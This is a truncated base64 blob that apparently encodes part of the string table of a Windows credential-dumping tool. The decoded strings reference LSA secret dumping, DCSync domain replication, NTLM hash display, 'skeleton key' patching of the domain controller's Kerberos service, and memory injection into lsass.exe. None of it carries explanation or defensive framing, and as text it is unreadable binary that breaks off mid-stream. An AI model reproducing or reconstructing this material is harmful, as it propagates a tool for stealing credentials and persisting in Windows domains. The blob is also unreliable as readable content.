AAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAGcAZQB0AEgAYQBuAGQAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAVQBzAGUAcgAgADoAIAAlAHcAWgAKAAAAAAAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAAAAABQAHIAaQBtAGEAcgB5AAAAQwBMAEUAQQBSAFQARQBYAFQAAAAAAAAAVwBEAGkAZwBlAHMAdAAAAEsAZQByAGIAZQByAG8AcwAAAAAAAAAAAEsAZQByAGIAZQByAG8AcwAtAE4AZQB3AGUAcgAtAEsAZQB5AHMAAABOAFQATABNAC0AUwB0AHIAbwBuAGcALQBOAFQATwBXAEYAAAAAAAAACgAgACoAIAAlAHMACgAAACAAIAAgACAATABNACAAIAAgADoAIAAAAAoAIAAgACAAIABOAFQATABNACAAOgAgAAAAAAAAAAAAIAAgACAAIAAlAC4AKgBzAAoAAAAAAAAAIAAgACAAIAAlADAAMgB1ACAAIAAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAAAAAAAAAAABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABPAGwAZABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAACAAIAAgACAARABlAGYAYQB1AGwAdAAgAFMAYQBsAHQAIAA6ACAAJQAuACoAcwAKACAAIAAgACAARABlAGYAYQB1AGwAdAAgAEkAdABlAHIAYQB0AGkAbwBuAHMAIAA6ACAAJQB1AAoAAAAAAAAAAABTAGUAcgB2AGkAYwBlAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAATwBsAGQAZQByAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAAAAACAAIAAgACAAUgBhAG4AZABvAG0AIABWAGEAbAB1AGUAIAA6ACAAAAAgACAAIAAgACAAIAAlAHMAIAA6ACAAAAAgACAAIAAgACAAIAAlAHMAIAAoACUAdQApACAAOgAgAAAAAAAAAAAATgBPAE4ARQAgACAAIAAAAE4AVAA0AE8AVwBGACAAAABDAEwARQBBAFIAIAAgAAAAVgBFAFIAUwBJAE8ATgAAACAAWwAlAHMAXQAgACUAdwBaACAALQA+ACAAJQB3AFoACgAAAAAAAAAgACAAIAAgACoAIAAAAAAAdQBuAGsAbgBvAHcAbgA/AAAAAAAAAAAAIAAtACAAJQBzACAALQAgAAAAAAAAAAAALQAgACUAdQAgAC0AIAAAAGwAcwBhAGQAYgAuAGQAbABsAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAKAEMAdQByAHIAZQBuAHQAIABkAG8AbQBhAGkAbgA6ACAAJQB3AFoAIAAoACUAdwBaAAAAAAAAAAoARABvAG0AYQBpAG4AOgAgACUAdwBaACAAKAAlAHcAWgAAAAAAAAAgACAASQBuACAAAAAAAAAAIABPAHUAdAAgAAAAAAAAACAASQBuAC0AMQAAAAAAAABPAHUAdAAtADEAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAATABzAGEAUQB1AGUAcgB5AFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4ASQBuAGYAbwBCAHkATgBhAG0AZQAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAATABzAGEARQBuAHUAbQBlAHIAYQB0AGUAVAByAHUAcwB0AGUAZABEAG8AbQBhAGkAbgBzAEUAeAAgACUAMAA4AHgACgAAACAAIAAqACAAUgBTAEEAIABrAGUAeQAKAAAAAAAAAAAAbgB0AGQAcwAAAAAAAAAAAAkAUABGAFgAIABjAG8AbgB0AGEAaQBuAGUAcgAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnAAoAAAAAAAAAAAAgACAAKgAgAEwAZQBnAGEAYwB5ACAAawBlAHkACgAAAGsAZQB5AAAAbABlAGcAYQBjAHkAAAAAAAAAAAAAAAAAIAAgACoAIABVAG4AawBuAG8AdwBuACAAawBlAHkAIAAoAHMAZQBlAG4AIABhAHMAIAAlADAAOAB4ACkACgAAAAkARQB4AHAAbwByAHQAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnAAoAAAAAAAAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEsAZQB5AEYAcgBvAG0ARwBVAEkARAAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAAcwBlAGMAcgBlAHQAAAAAACAAcwBlAGUAbQBzACAAdABvACAAYgBlACAAYQAgAHYAYQBsAGkAZAAgAEcAVQBJAEQACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAEkAbgB2AGEAbABpAGQAIABHAFUASQBEACAAKAAwAHgAJQAwADgAeAApACAAOwAgACUAcwAKAAAACgBDAHUAcgByAGUAbgB0ACAAcAByAGUAZgBlAHIAZQBkACAAawBlAHkAOgAgACAAIAAgACAAIAAgAAAAAAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwBQAFIARQBGAEUAUgBSAEUARAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGIAawBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAACgBDAG8AbQBwAGEAdABpAGIAaQBsAGkAdAB5ACAAcAByAGUAZgBlAHIAZQBkACAAawBlAHkAOgAgAAAAAAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwBQAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwByAHAAZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAAawBkAGMAAABbAEQAQwBdACAATwBiAGoAZQBjAHQAIAB3AGkAdABoACAARwBVAEkARAAgACcAJQBzACcACgAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAAdQBzAGUAcgAgAGEAYwBjAG8AdQBuAHQACgAAAGwAZABhAHAAAAAAAAAAAABuAGMAYQBjAG4AXwBpAHAAXwB0AGMAcAAAAAAAAAAAAAAAAAAAAAAAWwBEAEMAXQAgAG0AcwAtAEQAUwAtAFIAZQBwAGwAaQBjAGEAdABpAG8AbgBFAHAAbwBjAGgAIABpAHMAOgAgACUAdQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAFIAUwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwAsACAAaQBuAHYAYQBsAGkAZAAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAKAAlAHUAKQAgAGEAbgBkAC8AbwByACAAYwBOAHUAbQBPAGIAagBlAGMAdABzACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAbwByACAAZwB1AGkAZAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABvAG0AYQBpAG4AIABDAG8AbgB0AHIAbwBsAGwAZQByACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAG8AbQBhAGkAbgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAsACAAbwByACAAZABvAGUAcwBuACcAdAAgAGwAbwBvAGsAIABsAGkAawBlACAAYQAgAEYAUQBEAE4ACgAAAAAAJQBzACUALgAqAHMAJQBzAAAAAAAAAAAAIAAgACAAIAAlAHMALQAlADIAdQA6ACAAAAAAAAAAAAAgACAASABhAHMAaAAgACUAcwA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABEAEUAUwAyAGIAbABvAGMAawBzADEARABXAE8AUgBEAAAAAAAAAAAACgBPAGIAagBlAGMAdAAgAFIARABOACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABTAEMAUgBJAFAAVAAAAAAAQQBDAEMATwBVAE4AVABEAEkAUwBBAEIATABFAAAAAAAwAHgANAAgAD8AAAAAAAAASABPAE0ARQBEAEkAUgBfAFIARQBRAFUASQBSAEUARAAAAAAAAAAAAEwATwBDAEsATwBVAFQAAABQAEEAUwBTAFcARABfAE4ATwBUAFIARQBRAEQAAAAAAFAAQQBTAFMAVwBEAF8AQwBBAE4AVABfAEMASABBAE4ARwBFAAAAAABFAE4AQwBSAFkAUABUAEUARABfAFQARQBYAFQAXwBQAEEAUwBTAFcATwBSAEQAXwBBAEwATABPAFcARQBEAAAAVABFAE0AUABfAEQAVQBQAEwASQBDAEEAVABFAF8AQQBDAEMATwBVAE4AVAAAAAAATgBPAFIATQBBAEwAXwBBAEMAQwBPAFUATgBUAAAAAAAwAHgANAAwADAAIAA/AAAASQBOAFQARQBSAEQATwBNAEEASQBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAAABXAE8AUgBLAFMAVABBAFQASQBPAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAAAAAAFMARQBSAFYARQBSAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAAAAAADAAeAA0ADAAMAAwACAAPwAAAAAAAAAAADAAeAA4ADAAMAAwACAAPwAAAAAAAAAAAEQATwBOAFQAXwBFAFgAUABJAFIARQBfAFAAQQBTAFMAVwBEAAAAAABNAE4AUwBfAEwATwBHAE8ATgBfAEEAQwBDAE8AVQBOAFQAAAAAAAAAUwBNAEEAUgBUAEMAQQBSAEQAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAFQAUgBVAFMAVABFAEQAXwBGAE8AUgBfAEQARQBMAEUARwBBAFQASQBPAE4AAAAAAE4ATwBUAF8ARABFAEwARQBHAEEAVABFAEQAAAAAAAAAVQBTAEUAXwBEAEUAUwBfAEsARQBZAF8ATwBOAEwAWQAAAAAAAAAAAEQATwBOAFQAXwBSAEUAUQBVAEkAUgBFAF8AUABSAEUAQQBVAFQASAAAAAAAAAAAAFAAQQBTAFMAVwBPAFIARABfAEUAWABQAEkAUgBFAEQAAAAAAAAAAAAAAAAAAAAAAFQAUgBVAFMAVABFAEQAXwBUAE8AXwBBAFUAVABIAEUATgBUAEkAQwBBAFQARQBfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAATgBPAF8AQQBVAFQASABfAEQAQQBUAEEAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAAAAUABBAFIAVABJAEEATABfAFMARQBDAFIARQBUAFMAXwBBAEMAQwBPAFUATgBUAAAAVQBTAEUAXwBBAEUAUwBfAEsARQBZAFMAAAAAAAAAAAAwAHgAMQAwADAAMAAwADAAMAAwACAAPwAAAAAAAAAAADAAeAAyADAAMAAwADAAMAAwADAAIAA/AAAAAAAAAAAAMAB4ADQAMAAwADAAMAAwADAAMAAgAD8AAAAAAAAAAAAwAHgAOAAwADAAMAAwADAAMAAwACAAPwAAAAAAAAAAAEQATwBNAEEASQBOAF8ATwBCAEoARQBDAFQAAAAAAAAARwBSAE8AVQBQAF8ATwBCAEoARQBDAFQAAAAAAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAAAAAAEEATABJAEEAUwBfAE8AQgBKAEUAQwBUAAAAAAAAAAAATgBPAE4AXwBTAEUAQwBVAFIASQBUAFkAXwBBAEwASQBBAFMAXwBPAEIASgBFAEMAVAAAAAAAAABVAFMARQBSAF8ATwBCAEoARQBDAFQAAABNAEEAQwBIAEkATgBFAF8AQQBDAEMATwBVAE4AVAAAAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAAAAAQQBQAFAAXwBCAEEAUwBJAEMAXwBHAFIATwBVAFAAAABBAFAAUABfAFEAVQBFAFIAWQBfAEcAUgBPAFUAUAAAACoAKgAgAFMAQQBNACAAQQBDAEMATwBVAE4AVAAgACoAKgAKAAoAAABTAEEATQAgAFUAcwBlAHIAbgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAAABVAHMAZQByACAAUAByAGkAbgBjAGkAcABhAGwAIABOAGEAbQBlACAAIAA6ACAAAABBAGMAYwBvAHUAbgB0ACAAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAIAAlAHMAIAApAAoAAABVAHMAZQByACAAQQBjAGMAbwB1AG4AdAAgAEMAbwBuAHQAcgBvAGwAIAA6ACAAJQAwADgAeAAgACgAIAAAAAAAQQBjAGMAbwB1AG4AdAAgAGUAeABwAGkAcgBhAHQAaQBvAG4AIAAgACAAOgAgAAAAUABhAHMAcwB3AG8AcgBkACAAbABhAHMAdAAgAGMAaABhAG4AZwBlACAAOgAgAAAATwBiAGoAZQBjAHQAIABTAGUAYwB1AHIAaQB0AHkAIABJAEQAIAAgACAAOgAgAAAATwBiAGoAZQBjAHQAIABSAGUAbABhAHQAaQB2AGUAIABJAEQAIAAgACAAOgAgACUAdQAKAAAAAAAKAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA6AAoAAAAAAGwAbQAgACAAAAAAAAAAAAAKAFMAdQBwAHAAbABlAG0AZQBuAHQAYQBsACAAQwByAGUAZABlAG4AdABpAGEAbABzADoACgAAACoAIAAlAHcAWgAgACoACgAAAAAAJTAyeAAAAAAAAAAAIAAgACAAIABVAG4AawBuAG8AdwBuACAAZABhAHQAYQAgADoAIAAAACoAKgAgAFQAUgBVAFMAVABFAEQAIABEAE8ATQBBAEkATgAgAC0AIABBAG4AdABpAHMAbwBjAGkAYQBsACAAKgAqAAoACgAAAFAAYQByAHQAbgBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAAAAYQBjAGMAbwB1AG4AdAAAAGMAbwBtAHAAdQB0AGUAcgAAAAAAAAAAACAAIABBAGMAYwBvAHUAbgB0ADoAIAAlAHMACgAAAAAAIAAgAE4AVABMAE0AIAAgACAAOgAgAAAAIAAgAE4AVABMAE0ALQAxACAAOgAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAEkAXwBOAGUAdABTAGUAcgB2AGUAcgBUAHIAdQBzAHQAUABhAHMAcwB3AG8AcgBkAHMARwBlAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAFMAZQByAHYAZQByAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABkAG8AZQBzACAAbgBvAHQAIABtAGEAdABjAGgAIABDAGEAbgBkAGkAZABhAHQAZQBTAGUAcgB2AGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAEkAXwBOAGUAdABTAGUAcgB2AGUAcgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAZQAyACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAEkAXwBOAGUAdABTAGUAcgB2AGUAcgBSAGUAcQBDAGgAYQBsAGwAZQBuAGcAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAG4AdABsAG0AIABoAGEAcwBoAC8AcgBjADQAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAG4AdABsAG0ACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIAB1AHMAZQByAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAZABjAAoAAAAAAAAAYwBtAGQAAAAAAAAAAAAAAEMAbwBtAG0AYQBuAGQAIABQAHIAbwBtAHAAdAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAQwBNAEQAKQAAAAAAAAAAAHIAZQBnAGUAZABpAHQAAABSAGUAZwBpAHMAdAByAHkAIABFAGQAaQB0AG8AcgAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAKQAAAAAAdABhAHMAawBtAGcAcgAAAFQAYQBzAGsAIABNAGEAbgBhAGcAZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgApAAAAAAAAAAAAbgBjAHIAbwB1AHQAZQBtAG8AbgAAAAAASgB1AG4AaQBwAGUAcgAgAE4AZQB0AHcAbwByAGsAIABDAG8AbgBuAGUAYwB0ACAAKAB3AGkAdABoAG8AdQB0ACAAcgBvAHUAdABlACAAbQBvAG4AaQB0AG8AcgBpAG4AZwApAAAAAABkAGUAdABvAHUAcgBzAAAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABUAHIAeQAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYQBsAGwAIABtAG8AZAB1AGwAZQBzACAAdwBpAHQAaAAgAEQAZQB0AG8AdQByAHMALQBsAGkAawBlACAAaABvAG8AawBzAAAAbQBlAG0AcwBzAHAAAAAAAHMAawBlAGwAZQB0AG8AbgAAAAAAAAAAAGMAbwBtAHAAcgBlAHMAcwBtAGUAAAAAAG0AaQBzAGMAAAAAAAAAAABNAGkAcwBjAGUAbABsAGEAbgBlAG8AdQBzACAAbQBvAGQAdQBsAGUAAAAAAAAAAABLAGkAdwBpAEEAbgBkAEMATQBEAAAAAABEAGkAcwBhAGIAbABlAEMATQBEAAAAAABjAG0AZAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAAAAAAAARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAAAAAAAAcgBlAGcAZQBkAGkAdAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAGQAcwBOAGMAUwBlAHIAdgBpAGMAZQAAAAkAKAAlAHcAWgApAAAAAAAJAFsAJQB1AF0AIAAlAHcAWgAgACEAIAAAAAAAAAAAACUALQAzADIAUwAAAAAAAAAjACAAJQB1AAAAAAAAAAAACQAgACUAcAAgAC0APgAgACUAcAAAAAAAJQB3AFoAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZABlAHQAbwB1AHIAcwBfAGMAYQBsAGwAYgBhAGMAawBfAHAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAUABhAHQAYwBoACAATwBLACAAZgBvAHIAIAAnACUAcwAnACAAZgByAG8AbQAgACcAJQBzACcAIAB0AG8AIAAnACUAcwAnACAAQAAgACUAcAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZwBlAG4AZQByAGkAYwBfAG4AbwBnAHAAbwBfAHAAYQB0AGMAaAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABtAHMAdgBjAHIAdAAuAGQAbABsAAAAAABmb3BlbgAAAGZ3cHJpbnRmAAAAAGZjbG9zZQAAAAAAAGwAcwBhAHMAcwAuAGUAeABlAAAAAAAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAAAAEkAbgBqAGUAYwB0AGUAZAAgAD0AKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAwACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAxACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIAByAGUAYQBsACAAYQBzAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABMb2NhbEFsbG9jAAAAAAAAbABlAHQAYQBlAHMAAAAAAGsAZABjAHMAdgBjAC4AZABsAGwAAAAAAFsASwBEAEMAXQAgAGQAYQB0AGEACgAAAFsASwBEAEMAXQAgAHMAdAByAHUAYwB0AAoAAAAAAAAAWwBLAEQAQwBdACAAawBlAHkAcwAgAHAAYQB0AGMAaAAgAE8ASwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAFMAZQBjAG8AbgBkACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABGAGkAcgBzAHQAIABwAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAYwByAHkAcAB0AGQAbABsAC4AZABsAGwAAAAAAAAAAABbAFIAQwA0AF0AIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAAAAAAAAAAWwBSAEMANABdACAAaQBuAGkAdAAgAHA